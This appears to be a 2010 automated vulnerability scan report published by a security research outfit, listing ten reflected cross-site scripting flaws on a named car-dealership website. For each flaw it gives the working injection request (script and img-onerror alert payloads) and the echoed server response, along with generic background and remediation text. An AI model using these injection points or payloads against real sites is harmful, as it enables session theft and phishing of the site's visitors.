Current Research | Full Disclosure | As of March 14, 2011

Plesk SMB 10.2.0 Windows - Site Editor | Full Disclosure
Plesk Small Business Manager 10.2.0 for Windows | Full Disclosure
Hoyt LLC Research | Full Disclosure Report on Stored XSS in SmarterMail 8.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterStats 6.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterMail 7.x Series
Report generated by XSS.CX at Fri Nov 12 19:04:47 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

1. Cross-site scripting (reflected)

1.1. http://www.pacificaudi.com/carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5 [REST URL parameter 3]

1.2. http://www.pacificaudi.com/carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5 [REST URL parameter 3]

1.3. http://www.pacificaudi.com/carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5 [REST URL parameter 4]

1.4. http://www.pacificaudi.com/carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5 [REST URL parameter 4]

1.5. http://www.pacificaudi.com/carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5 [REST URL parameter 4]

1.6. http://www.pacificaudi.com/carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5 [REST URL parameter 4]

1.7. http://www.pacificaudi.com/carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5 [REST URL parameter 4]

1.8. http://www.pacificaudi.com/carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5 [REST URL parameter 5]

1.9. http://www.pacificaudi.com/carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5 [REST URL parameter 5]

1.10. http://www.pacificaudi.com/carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5 [REST URL parameter 5]



1. Cross-site scripting (reflected)
There are 10 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.pacificaudi.com/carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5 [REST URL parameter 3]  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.pacificaudi.com
Path:   /carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ae005'%3b1e8b2e5f685 was submitted in the REST URL parameter 3. This input was echoed as ae005';1e8b2e5f685 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /carresearch/TrimsTestDrive/confid_pacificaudiae005'%3b1e8b2e5f685/make_Audi/model_S5 HTTP/1.1
Host: www.pacificaudi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 13 Nov 2010 00:42:04 GMT
Server: Apache/2.2.14 (Ubuntu) DAV/2 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.2-1ubuntu4.5
Set-Cookie: PARTNER=TrimsTestDrive
Set-Cookie: PHPSESSID=1l5pk9ccosgcn5751cak2spcl3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Content-Length: 5726
Connection: close
Content-Type: text/html
Set-Cookie: BIGipServerAPACHE_DEV=2885746954.20480.0000; path=/

   
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<HEAD>
<TITLE>New 2011 Audi
...[SNIP]...
PT>
function populate(file) {
var url="/carresearch/components/"+file+"&session="+new Date().getTime();
var aj=new ajax();
   aj.fetch(url, "datadisplay");
}
setCookie('confid','pacificaudiae005';1e8b2e5f685');
</SCRIPT>
...[SNIP]...

1.2. http://www.pacificaudi.com/carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.pacificaudi.com
Path:   /carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 5d330'><script>alert(1)</script>9de6abfce39 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /carresearch/TrimsTestDrive/confid_pacificaudi5d330'><script>alert(1)</script>9de6abfce39/make_Audi/model_S5 HTTP/1.1
Host: www.pacificaudi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 13 Nov 2010 00:42:04 GMT
Server: Apache/2.2.14 (Ubuntu) DAV/2 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.2-1ubuntu4.5
Set-Cookie: PARTNER=TrimsTestDrive
Set-Cookie: PHPSESSID=er1ss50tlldec09h2o3qljh9d1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Content-Length: 5803
Connection: close
Content-Type: text/html
Set-Cookie: BIGipServerAPACHE_DEV=2885746954.20480.0000; path=/

   
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<HEAD>
<TITLE>New 2011 Audi
...[SNIP]...
<a name='topheader' href='javascript: populate("model_search_testdrive.html?confid=pacificaudi5d330'><script>alert(1)</script>9de6abfce39&year=2011&make=Audi&model=S5&ids=&ri=1&iw=&nocache=1022858447");' title='Check Our Inventory of Audi S5'>
...[SNIP]...

1.3. http://www.pacificaudi.com/carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5 [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.pacificaudi.com
Path:   /carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 77159'%3bebb7c8d57a2 was submitted in the REST URL parameter 4. This input was echoed as 77159';ebb7c8d57a2 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /carresearch/TrimsTestDrive/confid_pacificaudi/77159'%3bebb7c8d57a2/model_S5 HTTP/1.1
Host: www.pacificaudi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 13 Nov 2010 00:42:12 GMT
Server: Apache/2.2.14 (Ubuntu) DAV/2 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.2-1ubuntu4.5
Set-Cookie: PARTNER=TrimsTestDrive
Set-Cookie: PHPSESSID=4e4revitmf4u0lfg38fq8uej45; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Content-Length: 5674
Connection: close
Content-Type: text/html
Set-Cookie: BIGipServerAPACHE_DEV=2885746954.20480.0000; path=/

   
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<HEAD>
<TITLE>New 2011 S5 -
...[SNIP]...
T>
function populate(file) {
var url="/carresearch/components/"+file+"&session="+new Date().getTime();
var aj=new ajax();
   aj.fetch(url, "datadisplay");
}
setCookie('confid','pacificaudi/77159';ebb7c8d57a2');
</SCRIPT>
...[SNIP]...

1.4. http://www.pacificaudi.com/carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5 [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.pacificaudi.com
Path:   /carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 26d01'><script>alert(1)</script>c64af3d9c03 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi26d01'><script>alert(1)</script>c64af3d9c03/model_S5 HTTP/1.1
Host: www.pacificaudi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 13 Nov 2010 00:42:11 GMT
Server: Apache/2.2.14 (Ubuntu) DAV/2 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.2-1ubuntu4.5
Set-Cookie: PARTNER=TrimsTestDrive
Cache-Control: max-age=1
Expires: Sat, 13 Nov 2010 00:42:12 GMT
Vary: Accept-Encoding,User-Agent
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Connection: close
Content-Type: text/html
Set-Cookie: BIGipServerAPACHE_DEV=2885746954.20480.0000; path=/
Content-Length: 17075

   
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<HEAD>
<TITLE>New Audi26d01
...[SNIP]...
<img src='http://images.carprices.com/autofusion_data/usa/default_noimage.jpg' ALT=' Audi26d01'><script>alert(1)</script>c64af3d9c03 S5'>
...[SNIP]...

1.5. http://www.pacificaudi.com/carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5 [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.pacificaudi.com
Path:   /carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a77d4"><script>alert(1)</script>f17b847e646 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /carresearch/TrimsTestDrive/confid_pacificaudi/make_Audia77d4"><script>alert(1)</script>f17b847e646/model_S5 HTTP/1.1
Host: www.pacificaudi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 13 Nov 2010 00:42:09 GMT
Server: Apache/2.2.14 (Ubuntu) DAV/2 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.2-1ubuntu4.5
Set-Cookie: PARTNER=TrimsTestDrive
Cache-Control: max-age=1
Expires: Sat, 13 Nov 2010 00:42:10 GMT
Vary: Accept-Encoding,User-Agent
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Connection: close
Content-Type: text/html
Set-Cookie: BIGipServerAPACHE_DEV=2885746954.20480.0000; path=/
Content-Length: 17075

   
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<HEAD>
<TITLE>New Audia77d4
...[SNIP]...
<META NAME=KEYWORDS CONTENT="New Audia77d4"><script>alert(1)</script>f17b847e646 S5 Vehicles, Audia77d4">
...[SNIP]...

1.6. http://www.pacificaudi.com/carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5 [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.pacificaudi.com
Path:   /carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as text between TITLE tags. The payload d7939</title><script>alert(1)</script>c4769106e0e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /carresearch/TrimsTestDrive/confid_pacificaudi/make_Audid7939</title><script>alert(1)</script>c4769106e0e/model_S5 HTTP/1.1
Host: www.pacificaudi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 13 Nov 2010 00:42:20 GMT
Server: Apache/2.2.14 (Ubuntu) DAV/2 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.2-1ubuntu4.5
Set-Cookie: PARTNER=TrimsTestDrive
Cache-Control: max-age=1
Expires: Sat, 13 Nov 2010 00:42:21 GMT
Vary: Accept-Encoding,User-Agent
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Connection: close
Content-Type: text/html
Set-Cookie: BIGipServerAPACHE_DEV=2885746954.20480.0000; path=/
Content-Length: 17147

   
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<HEAD>
<TITLE>New Audid7939</title><script>alert(1)</script>c4769106e0e S5 - Pacific Audi</TITLE>
...[SNIP]...

1.7. http://www.pacificaudi.com/carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5 [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.pacificaudi.com
Path:   /carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload e6a4c<script>alert(1)</script>9b4fa9be896 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /carresearch/TrimsTestDrive/confid_pacificaudi/make_Audie6a4c<script>alert(1)</script>9b4fa9be896/model_S5 HTTP/1.1
Host: www.pacificaudi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 13 Nov 2010 00:42:15 GMT
Server: Apache/2.2.14 (Ubuntu) DAV/2 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.2-1ubuntu4.5
Set-Cookie: PARTNER=TrimsTestDrive
Cache-Control: max-age=1
Expires: Sat, 13 Nov 2010 00:42:16 GMT
Vary: Accept-Encoding,User-Agent
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Connection: close
Content-Type: text/html
Set-Cookie: BIGipServerAPACHE_DEV=2885746954.20480.0000; path=/
Content-Length: 17052

   
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<HEAD>
<TITLE>New Audie6a4c
...[SNIP]...
<H1>New Audie6a4c<script>alert(1)</script>9b4fa9be896 S5 at Pacific Audi</H1>
...[SNIP]...

1.8. http://www.pacificaudi.com/carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5 [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.pacificaudi.com
Path:   /carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload dd74a'><img%20src%3da%20onerror%3dalert(1)>5e50f011a06 was submitted in the REST URL parameter 5. This input was echoed as dd74a'><img src=a onerror=alert(1)>5e50f011a06 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5dd74a'><img%20src%3da%20onerror%3dalert(1)>5e50f011a06 HTTP/1.1
Host: www.pacificaudi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 13 Nov 2010 00:42:38 GMT
Server: Apache/2.2.14 (Ubuntu) DAV/2 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.2-1ubuntu4.5
Set-Cookie: PARTNER=TrimsTestDrive
Cache-Control: max-age=1
Expires: Sat, 13 Nov 2010 00:42:39 GMT
Vary: Accept-Encoding,User-Agent
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Connection: close
Content-Type: text/html
Set-Cookie: BIGipServerAPACHE_DEV=2885746954.20480.0000; path=/
Content-Length: 17250

   
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<HEAD>
<TITLE>New Audi S5dd
...[SNIP]...
<img src='http://images.carprices.com/autofusion_data/usa/default_noimage.jpg' ALT=' Audi S5dd74a'><img src=a onerror=alert(1)>5e50f011a06'>
...[SNIP]...

1.9. http://www.pacificaudi.com/carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5 [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.pacificaudi.com
Path:   /carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5

Issue detail

The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload ca134<img%20src%3da%20onerror%3dalert(1)>cbe6f90b892 was submitted in the REST URL parameter 5. This input was echoed as ca134<img src=a onerror=alert(1)>cbe6f90b892 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5ca134<img%20src%3da%20onerror%3dalert(1)>cbe6f90b892 HTTP/1.1
Host: www.pacificaudi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 13 Nov 2010 00:42:47 GMT
Server: Apache/2.2.14 (Ubuntu) DAV/2 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.2-1ubuntu4.5
Set-Cookie: PARTNER=TrimsTestDrive
Cache-Control: max-age=1
Expires: Sat, 13 Nov 2010 00:42:48 GMT
Vary: Accept-Encoding,User-Agent
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Connection: close
Content-Type: text/html
Set-Cookie: BIGipServerAPACHE_DEV=2885746954.20480.0000; path=/
Content-Length: 17219

   
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<HEAD>
<TITLE>New Audi S5ca
...[SNIP]...
<H1>New Audi S5ca134<img src=a onerror=alert(1)>cbe6f90b892 at Pacific Audi</H1>
...[SNIP]...

1.10. http://www.pacificaudi.com/carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5 [REST URL parameter 5]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.pacificaudi.com
Path:   /carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cae07"><img%20src%3da%20onerror%3dalert(1)>8c0dc48249e was submitted in the REST URL parameter 5. This input was echoed as cae07"><img src=a onerror=alert(1)>8c0dc48249e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /carresearch/TrimsTestDrive/confid_pacificaudi/make_Audi/model_S5cae07"><img%20src%3da%20onerror%3dalert(1)>8c0dc48249e HTTP/1.1
Host: www.pacificaudi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 13 Nov 2010 00:42:29 GMT
Server: Apache/2.2.14 (Ubuntu) DAV/2 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.2-1ubuntu4.5
Set-Cookie: PARTNER=TrimsTestDrive
Cache-Control: max-age=1
Expires: Sat, 13 Nov 2010 00:42:30 GMT
Vary: Accept-Encoding,User-Agent
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Connection: close
Content-Type: text/html
Set-Cookie: BIGipServerAPACHE_DEV=2885746954.20480.0000; path=/
Content-Length: 17249

   
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<HEAD>
<TITLE>New Audi S5ca
...[SNIP]...
<META NAME=KEYWORDS CONTENT="New Audi S5cae07"><img src=a onerror=alert(1)>8c0dc48249e Vehicles, Audi S5cae07">
...[SNIP]...

Report generated by XSS.CX at Fri Nov 12 19:04:47 CST 2010.